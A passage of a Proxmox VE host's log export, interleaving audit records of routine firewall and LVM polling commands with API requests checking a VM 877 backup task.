ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965074081,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:52 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 492"} {"@timestamp":1781965905656,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.656:67599): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964285754,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.754:60389): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965648817,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965648.817:66515): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63888 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965915080,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.080:67636): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5935fb0 a1=64f8d7413680 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64953 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965074081,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:52 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965072307&start=0&limit=510 HTTP/1.1\" 200 815"} {"@timestamp":1781965905648,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.648:67598): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964285751,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.751:60388): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965648810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965648.810:66512): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63887 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965915048,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.048:67635): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dd2a0 a1=64f8d5fe5cc0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965073076,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:52 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 251"} {"@timestamp":1781965905641,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.641:67597): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964285750,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.750:60387): argc=1 a0=\"date\""} {"@timestamp":1781965646170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.170:66508): arch=c000003e syscall=59 success=yes exit=0 a0=5c216df46ed0 a1=5c216df43c50 a2=5c216df25680 a3=5 items=2 ppid=63878 pid=63884 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965914747,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965914.747:67634): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64949 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965073076,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:52 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965071520&start=0&limit=510 HTTP/1.1\" 200 688"} {"@timestamp":1781965905634,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.634:67596): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964285745,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.745:60385): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965646166,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.166:66507): arch=c000003e syscall=59 success=yes exit=0 a0=5c213f078ac8 a1=7ffe18518220 a2=5c216df25680 a3=5c213f05c24e items=2 ppid=63878 pid=63880 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965914740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965914.740:67631): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64948 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965073076,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:52 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965905625,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.625:67595): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964285737,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.737:60384): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965646165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.165:66506): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe185181e0 a1=5c216df42b40 a2=5c216df25680 a3=5 items=2 ppid=63878 pid=63879 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965909729,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965909.729:67628): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64947 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965073076,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:51 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965071299&start=0&limit=510 HTTP/1.1\" 200 689"} {"@timestamp":1781965904929,"@rawstring":"node=pve type=EXECVE msg=audit(1781965904.929:67594): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964285731,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.731:60383): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965646159,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.159:66504): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63878 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965909719,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965909.719:67625): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965072082,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 768"} {"@timestamp":1781965904892,"@rawstring":"node=pve type=EXECVE msg=audit(1781965904.892:67593): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964285724,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.724:60382): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965646151,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.151:66503): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63877 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905768,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.768:67622): arch=c000003e syscall=59 success=yes exit=0 a0=618877f21d70 a1=618877f2df80 a2=618877efb680 a3=5 items=2 ppid=64939 pid=64945 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965072082,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:51 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965904712,"@rawstring":"node=pve type=EXECVE msg=audit(1781965904.712:67592): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964285716,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.716:60381): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965646141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.141:66502): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63876 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.766:67621): arch=c000003e syscall=59 success=yes exit=0 a0=61884cc22ac8 a1=7fff3355d6d0 a2=618877efb680 a3=61884cc0624e items=2 ppid=64939 pid=64941 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965072082,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:50 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965070290&start=0&limit=510 HTTP/1.1\" 200 593"} {"@timestamp":1781965904706,"@rawstring":"node=pve type=EXECVE msg=audit(1781965904.706:67589): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964285710,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.710:60379): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965646134,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.134:66501): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63875 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.766:67620): arch=c000003e syscall=59 success=yes exit=0 a0=7fff3355d690 a1=618877f1d410 a2=618877efb680 a3=5 items=2 ppid=64939 pid=64940 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965071038,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781965900934,"@rawstring":"node=pve type=EXECVE msg=audit(1781965900.934:67586): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964285704,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.704:60378): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965646125,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.125:66500): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63874 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905761,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.761:67618): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64939 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965071038,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781965900934,"@rawstring":"node=pve type=EXECVE msg=audit(1781965900.934:67585): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964285699,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.699:60377): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965646121,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.121:66499): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5a282cc0f740 items=0 ppid=1156 pid=63873 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965905753,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.753:67617): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64938 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965071038,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:50 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 756"} {"@timestamp":1781965900933,"@rawstring":"node=pve type=EXECVE msg=audit(1781965900.933:67584): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964285694,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.694:60376): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965646117,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.117:66498): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc138320 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63873 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905746,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.746:67616): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64937 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965071038,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 498"} {"@timestamp":1781965899697,"@rawstring":"node=pve type=EXECVE msg=audit(1781965899.697:67583): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964285688,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.688:60375): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965646109,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.109:66497): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13ad70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63872 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905738,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.738:67615): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64936 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965071038,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:49 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965899690,"@rawstring":"node=pve type=EXECVE msg=audit(1781965899.690:67580): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964285683,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.683:60374): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965646101,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.101:66496): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13ada0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63871 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905731,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.731:67614): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64935 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965071038,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:49 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 493"} {"@timestamp":1781965895609,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.609:67577): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964285676,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.676:60373): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965646092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.092:66495): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4a70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63870 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905728,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.728:67613): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=641f71df7740 items=0 ppid=1156 pid=64934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965071038,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:49 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965069281&start=0&limit=510 HTTP/1.1\" 200 597"} {"@timestamp":1781965895606,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.606:67576): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964285669,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.669:60372): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965646084,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.084:66494): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ada0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905725,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.725:67612): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139dd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64934 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965069956,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:49 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965068505&start=0&limit=510 HTTP/1.1\" 200 596"} {"@timestamp":1781965895604,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.604:67575): argc=1 a0=\"date\""} {"@timestamp":1781964285665,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.665:60371): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965646076,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.076:66493): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf540 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63868 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905717,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.717:67611): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc136100 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64933 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965069956,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:49 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 750"} {"@timestamp":1781965895600,"@rawstring":"node=pve type=EXECVE msg=audit(1781965895.600:67573): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964285662,"@rawstring":"node=pve type=EXECVE msg=audit(1781964285.662:60370): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965646068,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.068:66492): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905710,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.710:67610): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e8290 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64932 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965069956,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:48 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965068272&start=0&limit=510 HTTP/1.1\" 200 605"} 